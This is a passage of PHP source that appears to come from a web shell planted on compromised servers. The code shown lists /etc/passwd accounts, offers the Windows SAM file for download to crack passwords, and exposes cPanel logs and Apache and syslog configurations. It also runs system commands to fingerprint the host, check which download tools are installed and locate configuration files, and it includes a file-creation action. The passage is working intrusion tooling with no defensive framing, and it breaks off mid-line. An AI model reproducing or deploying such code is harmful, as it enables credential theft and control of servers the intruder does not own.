  1507.    echo "<b>*nix /etc/passwd:</b><br>";
  1508.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1509.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1510.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1511.    $i = $nixpwd_s;
  1512.    while ($i < $nixpwd_e)
  1513.    {
  1514.     $uid = posix_getpwuid($i);
  1515.     if ($uid)
  1516.     {
  1517.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1518.      echo join(":",$uid)."<br>";
  1519.     }
  1520.     $i++;
  1521.    }
  1522.   }
  1523.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1524.  }
  1525.  else
  1526.  {
  1527.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1528.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1529.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ¬©.</font></b><br>";}
  1530.  }
  1531.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1532.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1533.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1534.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1535.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1536.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1537.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1538.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1539.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1540.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1541.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1542.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1543.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1544.  displaysecinfo("RAM",myshellexec("free -m"));
  1545.  displaysecinfo("HDD space",myshellexec("df -h"));
  1546.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1547.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1548.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1549.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1550.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1551.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1552.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1553.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1554.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1555.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1556.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1557.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1558.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1559.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1560. }
  1561. if ($act == "mkfile")
  1562. {
  1563.  if ($mkfile != $d)
  1564.  {
  1565.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1566.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1567.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1568.  }
  1569.  else {$act = $dspact = "ls";}
  1570. }
  1571. if ($act == "encoder")
  1572. {
  1573.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1574.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1575.  {
  1576.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1577.  }
  1578.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\